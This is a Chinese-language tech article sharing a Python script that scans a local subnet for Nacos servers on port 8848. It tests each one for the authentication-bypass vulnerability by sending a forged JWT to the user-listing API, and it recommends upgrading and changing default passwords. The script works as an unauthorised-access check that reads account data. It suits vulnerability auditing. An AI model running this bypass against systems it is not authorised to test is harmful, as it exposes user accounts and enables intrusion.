官方確認(rèn)，低版本的nacos服務(wù)管理平臺(tái)存在多個(gè)安全漏洞。這些漏洞可能導(dǎo)致配置文件中的敏感信息泄漏或系統(tǒng)被入侵的風(fēng)險(xiǎn)。

今天浩道跟大家分享一個(gè)python腳本，主要用于自動(dòng)檢測(cè)某網(wǎng)段內(nèi)主機(jī)上可能存在的nacos漏洞，可以方便大家對(duì)某網(wǎng)段內(nèi)多臺(tái)主機(jī)進(jìn)行檢測(cè)，一起看看吧！

如存在漏洞，建議及時(shí)升級(jí)nacos服務(wù)管理平臺(tái)的版本，并修改默認(rèn)密碼，刪除多余管理賬號(hào)。

nacos.py腳本信息如下，大家可以根據(jù)自己實(shí)際網(wǎng)段修改對(duì)應(yīng)代碼即可。該腳本實(shí)現(xiàn)掃描的是192.168.100.0網(wǎng)段內(nèi)主機(jī)上的nacos漏洞。

import requests
import urllib3
import threading
import socket


urllib3.disable_warnings()


# 定義自定義路徑和Header
custom_path = '/nacos/v1/auth/users?pageNo=1&pageSize=2'
header = {
    "User-Agent": "Nacos-Server",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Pragma": "no-cache",
    "Te": "trailers",
    "Cache-Control": "no-cache",
}


# 定義函數(shù)，用于發(fā)起GET請(qǐng)求并判斷回顯結(jié)果，每次調(diào)用這個(gè)函數(shù)發(fā)送一個(gè)請(qǐng)求
def send_request(url):
    full_url = url + custom_path  # 拼接完整URL
    try:
        response = requests.get(full_url, headers=header, verify=False, timeout=2)
        if response.status_code == 200 and response.content.find(b"pageNumber") != -1:
            print(f'{url} 存在nacos身份驗(yàn)證繞過漏洞')
        else:
            print(f'{url} 不存在nacos身份驗(yàn)證繞過漏洞')
    except requests.exceptions.RequestException as e:
        print(f'{url} 訪問失敗 {e}')


# Function to check if port 8848 is open on a given IP address
def is_port_open(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(2)  # Set a timeout of 2 seconds for the connection attempt
    result = sock.connect_ex((ip, port))
    sock.close()
    return result == 0


# Scan the 192.168.100.1 network segment for hosts with port 8848 open
nacos_hosts = []
for i in range(1, 256):
    ip_address = f'192.168.100.{i}'
    if is_port_open(ip_address, 8848):
        nacos_hosts.append(ip_address)


# Perform Nacos vulnerability check for hosts with port 8848 open
if not nacos_hosts:
    print("No Nacos server found on port 8848 in the 192.168.100.1 network segment.")
else:
    print(f"Found Nacos server(s) on port 8848: {', '.join(nacos_hosts)}")
    threads = []
    for host in nacos_hosts:
        t = threading.Thread(target=send_request, args=(f"http://{host}:8848",))
        threads.append(t)
        t.start()


    # Wait for all threads to complete
    for t in threads:
        t.join()

以下針對(duì)三個(gè)網(wǎng)段執(zhí)行腳本，如下圖所示：

責(zé)任編輯：彭菁